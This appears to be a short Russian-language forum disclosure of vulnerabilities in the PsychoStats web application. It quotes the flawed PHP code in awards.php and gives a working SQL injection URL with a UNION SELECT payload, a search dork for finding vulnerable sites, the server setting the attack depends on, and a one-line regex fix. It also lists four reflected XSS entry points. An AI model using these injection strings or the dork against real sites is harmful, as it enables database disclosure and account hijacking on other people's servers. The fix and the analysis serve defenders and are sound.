if (empty($d) or !preg_match('/\d\d\d\d-\d\d?-\d\d?/', $d)) {
$d = date('Y-m-d');
// $d = $range[$v]['max'];
}
...
$cmd = "SELECT awarddate FROM $ps->t_awards WHERE awardrange = '$v' AND awarddate <= '$d' ";
if ($p) $cmd .= "AND topplrid=$_p ";
$cmd .= "ORDER BY awarddate DESC LIMIT 1";
list($d) = $ps->db->fetch_list($cmd);
Результат попадает вторым параметром в функцию date. Т.е. можно определять по дате в календаре результат выполнения sql запроса. (изврат) Эксплойт:
Код:
/awards.php?d=2009-12-01'+and+0+union+select+1%23
Дорк: "Powered by PsychoStats" inurl:awards.php Зависимости: magic_quotes_gpc = off Решение: замена паттерна на следующий "/^\d\d\d\d-\d\d?-\d\d?$/"
XSS'ки:
/query.php?s=[XSS]
/ajax/flaglist.php?id='%3E[XSS] (работает только для зареганных)
/ajax/iconlist.php?id='%3E[XSS] (работает только для зареганных)
/admin/login.php?ref=%22%3E[XSS]